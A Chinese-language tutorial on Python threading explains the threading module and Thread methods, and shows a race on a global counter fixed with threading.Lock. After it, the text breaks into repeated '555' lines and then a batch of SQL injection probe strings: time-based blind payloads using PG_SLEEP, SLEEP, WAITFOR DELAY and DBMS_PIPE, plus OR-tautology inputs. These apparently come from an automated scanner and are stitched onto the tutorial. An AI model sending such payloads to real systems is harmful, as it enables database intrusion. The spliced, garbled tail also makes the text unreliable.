一、线程模块
Python3 通过两个标准库 _thread 和 threading 提供对线程的支持。
_thread 提供了低级别的、原始的线程以及一个简单的锁,它相比于 threading 模块的功能还是比较有限的。
threading 模块除了包含 _thread 模块中的所有方法外,还提供的其他方法:
- threading.currentThread(): 返回当前的线程变量。
- threading.enumerate(): 返回一个包含正在运行的线程的list。正在运行指线程启动后、结束前,不包括启动前和终止后的线程。
- threading.activeCount(): 返回正在运行的线程数量,与len(threading.enumerate())有相同的结果。
除了使用方法外,线程模块同样提供了Thread类来处理线程,Thread类提供了以下方法:
- run(): 用以表示线程活动的方法。
- start():启动线程活动。
- join([time]): 等待至线程中止。这阻塞调用线程直至线程的join() 方法被调用中止-正常退出或者抛出未处理的异常-或者是可选的超时发生。
- isAlive(): 返回线程是否活动的。
- getName(): 返回线程名。
- setName(): 设置线程名。
二、线程同步
如果多个线程共同对某个数据修改,则可能出现不可预料的结果,为了保证数据的正确性,需要对多个线程进行同步。 使用 Threading 对象的 Lock 和 Rlock 可以实现简单的线程同步,这两个对象都有 acquire 方法和 release 方法,对于那些需要每次只允许一个线程操作的数据,可以将其操作放到 acquire 和 release 方法之间。
利用线程同步,可以使部分代码只能同时被一个线程操作,当这部分代码被一个线程使用时,其他线程需要等待线程该线程处理完之后,才能轮到下一个线程调用
- 实例
利用多线程,每个线程获取全局变量num,然后对num进行1000000次的+1操作,如果没有利用线程同步,代码如下:
import threading
num = 0 # 全局变量
def sum(threadName,number):
global num
for i in range(number):
num += 1
print('{} num的值是: {}'.format(threadName,num))
class myThread(threading.Thread):
def __init__(self,number):
threading.Thread.__init__(self)
self.number = number
def run(self):
print('开始线程:%s' % (self.getName()))
sum(self.getName(),self.number)
print('结束线程:%s' % (self.getName()))
if __name__ == '__main__':
threads = [] # 创建线程列表
# 创建新线程
thread1 = myThread(number=1000000)
thread2 = myThread(number=1000000)
# 添加线程到线程列表
threads.append(thread1)
threads.append(thread2)
[t.start() for t in threads] # 开启新线程
[t.join() for t in threads] # 等待所有线程完成
print('最后num的值是: {}'.format(num))
运行结果如下,可以看到两个线程对num进行操作后,最后全局变量num的值是1359993,和我们预想的结果(2000000)不一致。
开始线程:Thread-1
开始线程:Thread-2
Thread-1 num的值是: 1089741
结束线程:Thread-1
Thread-2 num的值是: 1359993
结束线程:Thread-2
最后num的值是: 1359993
下面我们利用线程同步,对上面代码进行改进,加入以下三行代码:
...
def run(self):
threadlock.acquire() # 获取锁,用于线程同步:当线程2进入时,如果以下代码有线程1在调用,则会暂停线程2,等待线程1解锁后再到线程2进入
print('开始线程:%s' % (self.getName()))
sum(self.getName(),self.number)
threadlock.release() # 解锁线程:当线程1解锁后,线程2才能继续运行
print('结束线程:%s' % (self.getName()))
if __name__ == '__main__':
threadlock = threading.Lock() # 创建线程锁
...
运行结果如下:
开始线程:Thread-1
Thread-1 num的值是: 1000000
结束线程:Thread-1
开始线程:Thread-2
Thread-2 num的值是: 2000000
结束线程:Thread-2
最后num的值是: 2000000
可以看到,和我们预想的结果一致。
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@LiWj0
555����%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555NQoeNO33')) OR 221=(SELECT 221 FROM PG_SLEEP(15))--
555HGPo1h4A') OR 174=(SELECT 174 FROM PG_SLEEP(15))--
555h7fOBPT4' OR 180=(SELECT 180 FROM PG_SLEEP(15))--
555-1)) OR 336=(SELECT 336 FROM PG_SLEEP(15))--
555-1) OR 215=(SELECT 215 FROM PG_SLEEP(15))--
555-1 OR 518=(SELECT 518 FROM PG_SLEEP(15))--
555T9b6u0vo'
555-1 waitfor delay '0:0:15' --
555-1)
555-1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "5B0hdurZ"="
-1' OR 5*5=25 or '2IIhNn6T'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555
555